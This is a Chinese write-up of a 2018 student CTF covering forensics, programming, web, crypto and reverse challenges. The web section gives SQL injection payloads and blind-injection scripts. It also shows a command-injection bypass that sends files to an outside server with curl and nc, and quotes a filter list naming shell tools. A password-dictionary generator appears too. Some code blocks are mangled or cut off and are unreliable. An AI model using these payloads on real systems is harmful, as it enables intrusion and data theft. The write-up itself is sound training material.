0%

BlueWhale2018 年纳新题目 Writeup

Forensics

BabyForensics (200)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
一名黑客渗透了一个网站,并且最后拿到了一份机密信息,我们抓到了黑客入侵过程的全部流量,正在进行取证工作 

请问这个网站使用的 PHP 框架是什么?
请问黑客最后拿到的机密文件中 MYSQL 服务器的用户名与密码是什么?
请问黑客最后拿到的机密文件中 MYSQL 服务器的 IPV4 地址是什么?
此题仅限大一学生,大二及以上学生不计分

注: flag 中的字母全部小写

flag 格式为 "flag{ 框架名称_MYSQL 用户名_MYSQL 密码_MYSQL 的 IP 地址 }"

流量包:https://**********/resource/BabyForensics.zip
备用下载:http://**********/temp/BabyForensics.zip
Update: 流量包已上传至群文件中

压缩文件下载下来后解压出来是一个 pcap 文件,不知道怎么打开可以 Google 一下

找到 Wireshark 下载安装,开始取证。pcap 文件是一个很大的数据包,里面包含了许多个小的数据包,数据包根据协议也有很多的种类

上图中的协议有 ARP、TCP 与 HTTP,此题只需关注 http 的数据包。使用显示过滤器过滤出 http 的数据包

上图中圈起来的就是“一对”数据包,上面的是请求包,下面的是响应包。每次浏览网页时,浏览器会向服务器发送一个请求,服务器收到请求后会返回一个响应。题目描述中讲到黑客最后获取了一份机密文件,所以这里进一步关注服务器的响应包,并且这个响应包应该是在最后。

从最后一个响应包,一个一个往前翻,在第 734581 个数据包中发现了一份配置文件,这里面有这道题的所有答案

  • PHP 框架:douphp
  • MYSQL 地址:10.3.3.101
  • MYSQL 用户名:web
  • MYSQL 密码:e667jUPvJjXHvEUv

flag{douphp_web_e667jUPvJjXHvEUv_10.3.3.101}

另外由于这三个题是相互关联的,所以黑客的 IP 地址为 192.168.94.59

Mail1 (500)

1
2
3
4
5
6
7
8
9
一名黑客渗透了一个网站,我们抓到了黑客入侵过程的全部流量,正在进行取证工作 

请问黑客的 IP 地址是多少?
请问该系统中所使用的交换机的型号是多少?
已知网站中使用了某种简单的 Tomcat 容器自身的访问控制机制,请问该网站中 Tomcat 认证的用户名和密码是多少?
注: flag 中的字母全部小写
flag 格式为 "flag{IP 地址_型号_用户名_密码 }"
流量包:https://**********/resource/Mail1.zip
Update: 流量包已上传至群文件中

黑客的 IP 地址上一问已经出来了,接着寻找交换机的型号。一个包一个包的翻肯定是不现实的,最好的办法就是用关键字搜索
交换机的英文是 switch,在字节流中搜索一下就能找到

关于 Tomcat 容器自身的访问控制机制,题目中给了一个 参考链接 认真 看完那篇文章,就能发现文章中介绍的那么多访问控制机制中,只有一个是经常在 web 表单认证中使用的

于是继续搜索关键词 j_username 与 j_password,也是一下就能找到

  • 黑客的 IP 地址:192.168.94.59
  • 交换机的型号:s5120-28p-li
  • 认证用户名:system
  • 认证密码:manager

flag{192.168.94.59_s5120-28p-li_system_manager}

Mail2 (500)

1
2
3
4
5
6
7
8
9
10
11
12
一名黑客渗透了一个网站,我们抓到了黑客入侵过程的全部流量,正在进行取证工作 

请问管理员的邮箱是什么?
请问黑客登录的邮箱中一共有几封邮件?
请问黑客登录的邮箱中发送的最早的一封邮件的时间是多少?(转换成时间戳)
Hint1: 这三道流量分析题目是相互关联的
Hint2: 在该流量包中有两个不同的人登录过邮箱,其中一个才是黑客,另一个不用管他

注: flag 中的字母全部小写
flag 格式为 "flag{ 管理员邮箱_邮件数量_时间戳 }"
流量包:https://*********/resource/Mail2.zip
Update: 流量包已上传至群文件中

这个题就需要仔细分析整个流量包了,首先只需关注 http 的包,并且一直这三道题是相互关联的,那么在这个流量包中只需定位黑客 IP 地址的包即可,使用显示过滤器进行过滤,由此定位到黑客登录邮箱那附近的数据包,进行标记

一般在登录邮箱后进入的页面会显示邮箱中所有的邮件,所以在登录数据包的后面不远处肯定能找到邮箱中的全部邮件,追踪这个包的 Http 字节流,在登陆之后的几个包中就能找到请求邮件的包

在这个包后面的那个包中就是所有邮件的列表,将其字节流导出为 html 文件,之后在浏览器打开

所以最早的日期为2018-08-08 14:36,将其转换为时间戳为1533710160。另外寻找管理员的邮箱只需在字节流中查找关键字“admin@”即可,非常好找

  • 管理员邮箱:admin@test.com
  • 邮件数量:15
  • 时间戳:1533710160

flag{admin@test.com_15_1533710160}

PPC

查找素数 (150)

1
2
3
4
5
已知有一个等差数列,其首元素为 455,公差为 194, 要求找出在该数列中的第 149 个素数 

此题仅限于大一学生,大二及以上学生该题不计分

flag 格式为 flag{ 程序结果 }

在一个很大的等差数列中找素数,很简单,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def check(n):
for i in range(2, int(n/2+1)):
if n % i == 0:
return False
return True


sequence = 455
count = 0
while True:
if check(sequence):
count += 1
if count == 149:
break
sequence += 194

print sequence

结果为 165161

flag{165161}

下落的小球 (180)

1
2
3
4
已知有一颗最大深度为 16 的完全二叉树,所有叶子结点深度相同。若在根节点处放一个小球,小球会沿着根节点结点开始下落。该完全二叉树内每个结点上都有一个开关,默认全部关闭,当小球下落后,每当有小球落到一个开关上时,开关的状态会改变。当小球到达一个结点时,如果该结点上的开关关闭,则往小球向左走,否则向右走,直到到达叶子结点为止。求第 12345 个小球落下后的叶子结点编号。

flag 格式为 flag{ 结点编号 }

此题的意思是在一个深度为 16 的已经编号了序号的二叉树上,从根节点出下落一个小球,如果该节点为关则下一步小球向左走,否则向右走,默认全部为开,小球经过后开关取反。可以用列表构造一颗二叉树,里面包含了所有节点,之后模拟每一个小球的下落过程,直到第 12345 个小球为止。根据二叉树的性质,深度为 n 的二叉树最多有 2^n-1 个节点,所以列表大小行为 2^16-1。小球一开始从根节点(1 号节点)开始落下每次下落一层,如果往左下落,则下一个节点的编号为当前节点编号的 2 倍,往右落下则为往左落下的节点编号 +1。脚本如下

1
2
3
4
5
6
7
8
9
10
tree = [False] * (2 ** 16 - 1)
for ball in range(1, 12345 + 1):
node = 1
for layer in range(0, 15):
_node = node
node = node * 2 + 1 if tree[node] else node * 2
tree[_node] = not tree[_node]
if ball == 12345 and layer == 14:
print node

最后结果为 36358

flag{36358}

密码生成 (200)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
已知某人的姓名如生日,要求制作出一份字典,准确率越高越好 
关于字典

测试时我们会准备一些不会超出题目范围的密码,其中包含了姓名与生日的信息

注意并不一定是全部信息,可能包含了部分信息,例如姓名为 zhang san,其生日是 1998 5 3,我们的测试密码为 zhang199853 或 zs980503

我们将会测试我们准备的密码是否程序生成的字典之中,并且对程序生成密码的准确性与广泛性以及生成算法做一个估计与评价

语言限制为 C 或 C++,源代码中最好包含注释,注意变量、函数等命名规范

此题仅限于大一学生,大二及以上学生该题不计分

程序完成后请将源码打包发送至邮箱 ********@outlook.com,通过后我们会将 flag 发送给你

严禁抄袭

输入格式
一共包含两行
第一行为姓名的拼音,之间用空格分割
可以保证全部为小写并且姓名长度小于等于 4 个字(如 " 诸葛孔明 " -> "zhu ge kong ming" 或 " 洁 " -> "jie" )
第二行为生日,之间用空格分割
可以保证没有前导 0,并且生日是完全合理的(即不会出现 9999 9999 9999 这样的输入,但可能会出现 483 2 9 这类,483 年 2 月 9 日)

zhang san
1998 5 3
输出格式
要求输出到名为 'dic.txt' 的文件中,每行一个密码

zhang199853
zhang1998053
zhang19980503
Zhang199853
....

只需要尽可能多的考虑常见的姓名与生日的组合即可,先手动分析一下,以 张三 1998 5 27为例:

1
2
zhang san
1998 5 27
  1. 姓名与生日的组合方式只有两种
    姓名 + 生日
    生日 + 姓名
  2. 姓名的组合方式有全称和缩写两种
    其中姓名的每一个字都有可能为缩写,例如
    zhangsan(没有缩写) -> zhangs(“三”被缩写) -> zsan(“张”被缩写) -> zs(两个字都缩写)
    三个字和四个字的名字同理
  3. 姓名的大小写组合方式
    考虑每个姓名方式的大小写情况
    Zhangsan ZHangsan …
  4. 姓氏单独出现
    也有可能只有姓氏出现,比如 zhang19980521
  5. 生日中年份的组合有两种
    如 1998 或 98
  6. 月与日的组合也各有两种
    分为有前导 0 和每有前导 0 两种
    如 521 或 0521(5 有前导 0)
    假如生日为 1 号,则 0501(都有前导 0) 或 051(5 有前导 0) 或 501(1 有前导 0) 或 51(都没有前导 0)

可能的结果分析清楚后,一层一层的叠加处理即可,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Permutations(object):
def __init__(self):
pass

@staticmethod
def LetterCase(strings):
res = []
for i in range(1 > j) & 1 else s.upper()
j += 1
res.append(word)
return res

@staticmethod
def WordCombination(word):
res = []
for i in range(1 > j) & 1 else s
j += 1
res.append(word)
return res


# Name
name = raw_input().split(' ')
_name = list()
_name.append(name[0])
_name.append(''.join(name[1:]))
_name += Permutations.WordCombination(name)
name = list()
for n in _name:
name += Permutations.LetterCase(n)

# Birthday
birthday = raw_input().split(' ')
year = [birthday[0], birthday[0][-2:]]
month = [birthday[1]]
if len(birthday[1])

验证码破解 (350)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
要求编程解决哈希验证码破解 
关于哈希验证码
观察下面一行代码
substr(md5(' 请在此输入验证码 '),0,6) === 'dc55b0'
该行代码输要求我们入一个字符串,使得该字符串进行 MD5 运算之后的 0 到 5 位等于 'dc55b0'
该字符串称为哈希验证码
测试时我们会准备一些不同种类且范围小于等于 6 位的待破解的验证码,根据破解出验证码的速度与时间以及内存的使用量对程序做一个估计与评价

我们准备测试的哈希验证码种类包含: MD5、 SHA1 以及 SHA256

提示:可以参考彩虹表以及鸽巢原理,从而大大加快验证码的破解速度

语言限制为 C 或 C++,源代码中最好包含注释,注意变量、函数等命名规范

程序完成后请将源码打包发送至邮箱 ********@outlook.com,通过后我们会将 flag 发送给你

此题推荐大二及以上学生,但如果大一学生完成此题则有加分奖励

哈希函数(MD5,SHA1,SHA256)运算部分的代码可以参考使用互联网上的例子,其余代码严禁抄袭

输入格式
一共三行
第一行为要破解的验证码种类,取值范围为 "MD5"、"SHA1" 或 "SHA256",字母大写
第二行为要破解的验证码
可以保证是可破解的并且长度不超过 6 位
第三行为要破解的验证码范围,包括两个整形数字,之间用空格分隔
可以保证范围合理,不超过 6 位并且不会超出哈希函数结果的范围(如不会出现 "99 105" 这种),并且范围和第二行的待破解验证码的长度相等

MD5
dc55b0
0 5
表示我们需要寻找一个字符串,使得该字符串经过 MD5 运算后的 0 到 5 位为 "dc55b0"
输出格式
该验证码的破解结果

3f2d81a
表示字符串 "3f2d81a" 经过 MD5 运算后的 0 到 5 位为 "dc55b0"
更多例子
输入
MD5
9d73
10 13
表示我们需要寻找一个字符串,使得该字符串经过 MD5 运算后的 10 到 13 位为 "9d73"
输出
a05b9c
表示字符串 "a05b9c" 经过 MD5 运算后的 10 到 13 位为 "9d73"

输入
SHA256
08a31f
1 6
表示我们需要寻找一个字符串,使得该字符串经过 SHA256 运算后的 1 到 6 位为 "08a31f"
输出
c26bdc
表示字符串 "c26bdc" 经过 SHA256 运算后的 1 到 6 位为 "08a31f"

此类的哈希验证码在 CTF 竞赛中十分常见,需要碰撞一个最大长度为 6 的哈希,如果直接使用暴力破解的话效率十分低下,能多久跑出来就看命,但是如果使用彩虹表的话就完全不一样了。这里只以最长的 6 位验证码为例,6 位以下的更简单。

首先分析一下,长度为 6 的哈希值,其范围为从 000000~ffffff,也就是说一共有 16^6=16777216 种哈希值,这个数只到千万级别,不是很大。那么在理想情况(所有字符串产生的哈希值前六位均不同),我们只需要字符集 0~f 组成的 6 位 16777216 个不同的字符串,就一定可以得到所有的 6 位哈希值,但是现实中并没有这样的理想情况,这 16777216 个不同的字符串中有很大概率会有些字符串的哈希值前 6 位是相同的,为了降低这个概率,我们就需要更多的字符串。

如果我们同样使用 0~f 的字符集,组成 7 位字符串,就会产生 16^7=268435456 种不同的哈希,这个数是 6 位字符串的 16 倍,已经到了亿级别了,可以有非常大的概率保证覆盖了 000000~ffffff 所有的哈希可能值,但是 16^7 又有点太大了,其中有很多冗余数据我们在查验证码的时候用不到,所以需要对范围进行调整,从 0000000~3ffffff 将会用到 480M 的内存,从 0000000~4fffff 会用掉 700M 的内存,当然范围越大准确率也越高,但是占的内存也越多。

另外为了查询彩虹表方便,需要对彩虹表进行一定规律的排序,根据哈希值进行排序就能很快的移动文件指针找到对应行。
脚本如下(以 MD5 为例)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
def Generate(ran1, ran2, filename):
cache_dict = {}
length = ran2 - ran1
a = '%0' + str(length + 1) + 'x'
b = '%0' + str(length) + 'x'

print '[*]Generating cache...'
if length == 7:
ranges1 = 0x3fffffff
ranges2 = 0x10000000
elif length == 6:
ranges1 = 0x3ffffff
ranges2 = 0x1000000
elif length == 5:
ranges1 = 0x3fffff
ranges2 = 0x100000
elif length == 4:
ranges1 = 0x3ffff
ranges2 = 0x10000
elif length == 3:
ranges1 = 0x3fff
ranges2 = 0x1000
elif length == 2:
ranges1 = 0x3ff
ranges2 = 0x100
for i in xrange(ranges1):
# for i in xrange(0xfffff):
# for i in xrange(0x4fffff): # 700MB + RAM
# for i in xrange(0x3fffff): # 480MB + RAM
s = a % i
sub_hash = md5(s).hexdigest()[ran1:ran2]
cache_dict[sub_hash] = s
print '[*]Done.'

print '[*]Writing to disk...'
with open(filename, 'wb') as f:
miss = '*' * (length + 1)
miss = '%s ' + miss + 'n'
for i in xrange(ranges2):
k = b % i
if cache_dict.has_key(k):
f.write('%s %sn' % (k, cache_dict[k]))
else:
f.write(miss % k)
print '[*]Done.'
print '[*]Saved as '%s' at current directory.' % filename
del cache_dict

def Proof(proof, filename):
length = len(proof)
with open(filename, 'rb') as f:
offset = int(proof, 16) * (length + 1 + length + 1 + 1)
f.seek(offset)
result = f.read(length + 1 + length + 1)
return result.split()[1]

generate(0, 6, 'dic.txt')
print proof('dc55b0', 'dic.txt')

Web

1
2
3
4
你知道什么是 cookie 吗?

(cookie 本身并不是 flag)
http://*********:8080/

将 cookie 中 give_me_the_flag 的值改为 1 刷新即可

flag{U_jus7_3dit_The_cookie}

BabySQLi (200)

1
2
3
4
5
6
7
Baby SQL injection.

Hint: Backend using SQLite.

http://*******:25252/

注:此题仅限大一学生,大二及以上学生不计分

这个题没什么难的,Hint 也给了语句,什么也没过滤,告诉了 flag 在 fl4g 表里,直接注入就行,另外注意 sqlite 中没有井号(#)注释符

  • payload:' union select * from fl4g --

flag{B4BY_5q1_1nJec7i0n}

BabyBurp (200)

1
2
3
4
5
Change another way to visit a website?

http://*********/BabyBurp.php

hint: You should download a tool ---->"burp suite"

下载BurpSuit,开启代理拦截,题目里说“You may use your iphoneXXXXXX to find the flag?”,所以更改 user agent 为“iphoneXXXXXX”的即可。

flag{Bu1p_1s_tH3_beSt}

EasySQLi (220)

1
2
3
4
5
6
7
Very easy SQl injection.
What did I filter?

Hint: Backend using SQLite

http://*******:25254/

继续用上一题的 payload 发现 union、select 和 from 被过滤掉了,用双写或大小写都能绕过

  • payload1:' uNion selEct * frOm fl4g --
  • payload2:' ununionion selselectect * frfromom fl4g --

flag{50_ea5y_r1gh7}


HardSQLi (250)

1
2
3
4
5
6
A little difficult SQL injection
Really looks like the previous challenge?

Hint: Backend using SQLite

http://*******:25255/

接着用第一题的 payload 测试,发现出了 union、select 和 from 被过滤外,空格也被过滤掉了,可以利用注释符 /**/ 绕过,另外大小写不能绕过关键字的过滤,只有双写能绕过

  • payload:'/\*\*/uniunionon/\*\*/seselectlect/\*\*/\*/\*\*/frfromom/\*\*/fl4g/\*\*/--/\*\*/

flag{4_b1t_0f_HaRd_hhhhhh}

BadSQLi (300)

1
2
3
4
5
I heard only the real bad-ass can solve this challenge.

Hint: Backend using SQLite.

http://srpopty.cn:25253/

这个题除了前面那些过滤外,还过滤掉了所有空白字符,星号(*)以及逗号,只能盲注,空白字符可以用括号绕过

  • payload1(获取列名):1'oorr(selorect(hex(sql))frorom(sqlite_master))like('%s%%')--
  • payload2(获取 flag):1'oorr(selorect(hex(text))frorom(fl4g))like('%s%%')--

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import string

dic = string.hexdigits

url = 'http://123.206.86.208:25253/?id='

payload1 = "1'oorr(selorect(hex(sql))frorom(sqlite_master))like('%s%%')--"

payload2 = "1'oorr(selorect(hex(text))frorom(fl4g))like('%s%%')--"

result = ''
i = 0
while i < len(dic):
payload = payload1 % (result + dic[i])
print payload
ret = requests.get(url+payload)
if 'When' in ret.content:
result += dic[i]
print '[+] ' + result
i = 0
else:
i += 1

print '[*] Result: ' + result.decode('hex')

flag{ThI5_5q1i_s0_B4444d}

RealSQL

1
2
3
Flag is admin's password.

http://********:23333/

这是一道真正的 SQL 注入题,不像前面的题目甚至给出了查询语句的样子,这个题什么也没有给,所以需要自己试一试哪些被过滤掉了,被过滤掉的字符都会弹出 illegal character!!@\_@ 的提示,以此来判断哪些字符被过滤掉了。

大部分在登录或注册等界面的 SQL 注入,注入点基本都在 username 处,大部分网站在后端会把 password 进行哈希,与数据库中保存的进行比较,所以 password 不大可能有注入。

这里直接给出过滤的正则

1
2
3
4
5
6
7
8
9
$filter = "/ |\*|#|,|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i";

if(preg_match($filter,$str)){
echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";
exit;
}else if(strrpos($str,urldecode("%00"))){
echo "<script> alert('illegal character!!@_@');parent.location.href='index.php'; </script>";
exit;
}

可以看到被过滤的有空格、空白字符、*、#、union、like、regexp、for、and、or、–、&、| 等常见的注入字符
但是还有一些 SQL 语句操作符没有被过滤掉

1
!,!=,=,+,-,^,%,>,<,~

首先测试 uname,如果 uname 随便输入一个用户的话,会弹出“username error!!@_@”的提示,所以可以肯定有一次对 uname 的查询,以此首先来判断 uname 是否存在,那么猜测查询语句为

1
select username from users where uname='{$input}'

其中 $input 为我们的输入,虽然过滤掉了所有的空白字符,但是有很多布尔以及算数运算符没有被过滤,那么就可以构造连续的布尔式获取数据

1
select username from users where username=''!=(mid((username)from(-1))='a')

如果 (mid((username)from(-1))=’a’) 返回了 0,那么中间的表达式就会为 false,整个表达式也会为 false,如果返回了 1,就代表查到了数据,因此可以提交

1
uname='!=(mid((passwd)from(-1))='e')='1&passwd=1

这样一位一位的猜出来 password。exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
# -*- coding:utf-8 -*-
import requests
import string
url = "http://********:23333/login.php"

randstr = string.ascii_letters + string.digits + '}_{'
remark = ""

for j in range(1, 33):
for i in randstr:
passwd = i+remark
uname = "'!=(mid((passwd)from(-{j}))='{passwd}')='1".format(
j=str(j), passwd=passwd)
data = {"uname": uname, "passwd": "ddd"}
print uname
res = requests.post(url, data)
if "password error!!" in res.text:
remark = passwd
print remark
break

flag{THI5_1s_Real_sq1}

Exec

1
2
3
Please do this challenge after you can login with admin.

http://********:23333/

这个题需要上个题登录到 admin 以后才能做,用上一题的 flag 登录成功后可以看到一个命令执行的界面,题目的目的非常简单,执行命令,但是看不到命令执行的结果,只能知道命令是否执行完成,另外此题对命令也做了一些过滤,但是并不是很难。

最简单的思路就是用反弹 shell 获取数据,但是对反弹 shell 也做了一些限制,过滤正则如下

1
$filter = " |bash|perl|nc|java|php|>|>>|wget|ftp|python|sh";

空格可以使用 ${IFS}绕过,获取数据可以用 curl。首先在自己的服务器上

1
nc -l -p 12345 -vv

之后执行

1
curl${IFS}***.***.***.***:12345/`ls${IFS}-al|base64`

1
curl${IFS}123.206.86.208:12345/`cat${IFS}flag_788f1a3aa1fa053f7fa6560d456f4b92|base64`

flag{sql_iNJEct_comMond_eXEC!}

Crypto

BabyCrypto (100)

1
2
3
4
Who is Caesar?
Notice: This question is limited to the freshman , sophomore and above will not scored

qwlr{G3cj_P4dj_NLp5lC_n1as3c}

flag 被凯撒加密了,qwlr{G3cj_P4dj_NLp5lC_n1as3c}就是密文,解密即可

flag{V3ry_E4sy_CAe5aR_c1ph3r}

BabyCrypto2 (100)

1
2
3
4
5
6
This is a simple Morse Code!
Notice: This question is limited to the freshman , sophomore and above will not scored

Hint: All characters of flag are uppercase.

flag{-... .- -... -.-- -- --- .-. ... . -.-. --- -.. .}

这次是被用摩斯电码加密了,也是直接解密即可,注意 flag 中所有的字符都是大写(莫斯电码不区分大小写)

flag{BABYMORSECODE}

RSA (150)

1
2
3
4
5
6
7
RSA is based on a simple formula, let's do a math problem.
c = 150815
d = 1941
N = 435979
what is the decrypted number?

Hint: flag's format is flag{decrypted number}

这个题只是考察了 RSA 的解密公式decrypted = c ^ d mod N。另外在 RSA 体系中,m、c、d、e、n 这些的含义大都是固定的,随便找几篇文章就能懂。最后结果为 133337

flag{133337}

RSA2 (250)

1
2
3
4
5
6
This puzzle are different from the previous puzzle, what's the "dq" and "dp"? Can you decrypt the ciphertext?
c: 95272795986475189505518980251137003509292621140166383887854853863720692420204142448424074834657149326853553097626486371206617513769930277580823116437975487148956107509247564965652417450550680181691869432067892028368985007229633943149091684419834136214793476910417359537696632874045272326665036717324623992885
p: 11387480584909854985125335848240384226653929942757756384489381242206157197986555243995335158328781970310603060671486688856263776452654268043936036556215243
q: 12972222875218086547425818961477257915105515705982283726851833508079600460542479267972050216838604649742870515200462359007315431848784163790312424462439629
dp: 8191957726161111880866028229950166742224147653136894248088678244548815086744810656765529876284622829884409590596114090872889522887052772791407131880103961
dq: 3570695757580148093370242608506191464756425954703930236924583065811730548932270595568088372441809535917032142349986828862994856575730078580414026791444659

和上一道题相比没有了 d 以及 n,多了 dp 和 dq,题目描述中也问了什么是 dp 以及 dq,它们与中国剩余定理算法相关

  • p 和 q 是素数
  • dp = d mod (p - 1)
  • dq = d mod (q - 1)
  • qInv = (1/q) mod p (1/q 为 q 的乘法逆元)
  • m1 = c^dp mod p
  • m2 = c^dq mod q
  • h = qInv * (m1 - m2) mod p
  • m = m2 + h * q

现在直接按照上述步骤计算即可,p、q、dp、dq 与 c 均已知,最后就能直接算出明文 m,另外上述步骤中的 qInv 是模逆的

具体请参考:应用于 RSA 的中国剩余定理

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)


def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m


c = 95272795986475189505518980251137003509292621140166383887854853863720692420204142448424074834657149326853553097626486371206617513769930277580823116437975487148956107509247564965652417450550680181691869432067892028368985007229633943149091684419834136214793476910417359537696632874045272326665036717324623992885
p = 11387480584909854985125335848240384226653929942757756384489381242206157197986555243995335158328781970310603060671486688856263776452654268043936036556215243
q = 12972222875218086547425818961477257915105515705982283726851833508079600460542479267972050216838604649742870515200462359007315431848784163790312424462439629
dp = 8191957726161111880866028229950166742224147653136894248088678244548815086744810656765529876284622829884409590596114090872889522887052772791407131880103961
dq = 3570695757580148093370242608506191464756425954703930236924583065811730548932270595568088372441809535917032142349986828862994856575730078580414026791444659

qinv = modinv(q, p)
m1 = pow(c, dp, p)
m2 = pow(c, dq, q)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q
m_hex = str(hex(m))[2:-1]
print ''.join([chr(int(''.join(c), 16)) for c in zip(m_hex[0::2], m_hex[1::2])])

最后结果为Theres_more_than_one_way_to_RSA

flag{Theres_more_than_one_way_to_RSA}

RSA3

1
2
3
4
5
6
7
8
9
Normally, you pick e and generate d from that. What appears to have happened in this case? What is likely about the size of d?

Update: Fixed bug of flag.

Notice: Please DO NOT use any RSA tools, solve this challenge by yourself.

e = 165528674684553774754161107952508373110624366523537426971950721796143115780129435315899759675151336726943047090419484833345443949104434072639959175019000332954933802344468968633829926100061874628202284567388558408274913523076548466524630414081156553457145524778651651092522168245814433643807177041677885126141
n = 380654536359671023755976891498668045392440824270475526144618987828344270045182740160077144588766610702530210398859909208327353118643014342338185873507801667054475298636689473117890228196755174002229463306397132008619636921625801645435089242900101841738546712222819150058222758938346094596787521134065656721069
c = 169391604307213974710597693248166863262635321820709182280694059296079676696460036420655604420049971304712550027666676719989641872790226627271230072009450546099425697330508459430999175828530558172413805218170859212369467798719828240031394421896121823803700024559680572528969880625457942316782819682826344683732

如果硬刚这到题的话,尝试直接分解 n,可以发现 n 是非常难分解的,但是题目描述中重点强调了 d 的大小,那么可能和 Wiener’s Attack 有关

当 *d < 1/3 * N ^ (1/4)* 时,可以用 Wiener’s Attack 获取私钥 d

在生成私钥的时候,d 是根据 e 而获得的,当 e 过大或者过小的话,可以利用低解密指数攻击快速分解 n,获得 d 和 m。具体算法以及证明过程见 低解密指数攻击

flag{Are_any_RSA_vals_good_87768438250}

REVERSE

what is IDA? (150)

1
2
3
我有一个 exe,你能找到 flag 吗?

提示: IDA pro 6.8 以上版本

下载一个 IDA pro,用 IDA(64 位)载入该程序。反汇编 main 函数,只有个 Ha Ha Ha

直接搜索字符串“flag”

flag{can_y0u_see_me}

Xor (180)

1
2
3
flag 就在文件里,为什么没有看到?

注:异或运算

用 IDA 载入开始逆向程序,直接逆向 main 函数,得到源码如下

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@10
__int64 v4; // rsi@10
signed int i; // [sp+Ch] [bp-34h]@1
signed int j; // [sp+Ch] [bp-34h]@4
char v7[40]; // [sp+10h] [bp-30h]@1
__int64 v8; // [sp+38h] [bp-8h]@1

v8 = *MK_FP(__FS__, 40LL);
__isoc99_scanf(&unk_8B4, v7, envp);
for (i = 0; i

直接定位到第 16 行,不管 v7 是什么,它会和 flag 数组做一个对比,如果不一样就错误,所以 flag 数组里就放着 flag,双击 flag 数组跳转

可以看到 flag 就放在这里,不过是以 16 进制,先把数据复制出来,再接着回去看上面的代码

可以看到 flag 长度为 22,并且每个字符都和对应的 0 到 21 做了异或,由于异或是可逆的,因此将刚才复制出来的 flag 中每个字符都在异或一次即可

flag{yes_you_know_Xor}

Random

1
Can a computer generate a truly random number?

首先拖进 IDA 逆向 main 函数,需要使 check()返回非 0,另外可以看到 flag 的长度为 32

跟进 check 函数,可以发现程序对输入的字符串做了 4 件事

  1. 给 rand 函数播种,种子为 0xDEADBEEF,由于种子是固定的,所以 random 函数输出的随机数序列是固定的
  2. 将输入字符串按字节加random() mod 0x40
  3. 将上一步的字符串按字节异或random() mod 0x100
  4. 检查上述步骤完成后的字符串是否和 byte_601080 数组相等,其中 byte_601080 数组为

根据提示了解一下相关的资料就可以知道,glibc 的 random() 的实现使用线性同余引擎,在种子一定的情况下,会产生固定的伪随机序列。

所以只需要自己写个程序,设定种子为 0xdeadbeef,就可以random() 到相同的随机数,然后根据验证过程逆推即可得到 flag。

flag{R4nd0m_1s_P5euDo_randomW0W}

MISC

Welcome (50)

1
2
3
4
5
6
欢迎来到 Blue-Whale 纳新平台 
下面的这个东西叫做 flag:
flag{Welcome_to_join_us}
所有题目的答案都是以上这个形式
比如这题,把这个复制到答案框就好了

签到题,直接复制粘贴

flag{Welcome_to_join_us}

what is VM (100)

1
2
3
4
5
6
7
8
9
10
11
12
13
你知道虚拟机吗?
我这里有一个 VMware 虚拟机镜像,怎么打开它呢?
提示:下载 VMware14:
https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html

镜像链接: https://pan.baidu.com/s/1uy0PkjE1Ik4xzklreg9ICQ
密码: vxwg

虚拟机:
用户名:abc
密码: 123456

注意检查 CPU 虚拟化是否打开,没有打开的要在 BIOS 里打开。

下载安装 VM14,打开下载的题目中的虚拟机

之后开启虚拟机,用题目给的用户名和密码登录,登陆后桌面上就是一个 flag

flag{you_know_how_to_use_VM}

what is command (100)

1
2
3
home 目录下有一个 flag 文件,怎么用命令找到它呢?

注:此题 Linux 镜像为第二题镜像

因为 flag 是隐藏文件,直接用 ls 命令是找不到的,得用 ls -al 命令显示所有文件,之后用 cat 命令打开即可

flag{ls_is_what}

Linux find (100)

1
2
3
我在某个目录中藏了一个叫 findme 的文件,怎么能找到它呢?

注:此题 Linux 镜像为第二题镜像

直接用 find 命令即可:sudo find / -name findme -print

flag{you_know_wh1s_f1nd}

what is nc? (100)

1
2
linux nc 命令是干什么的呢?
nc 144.202.124.195 10001

直接用 nc 命令:nc 144.202.124.195 10001

flag{nc_1s_this}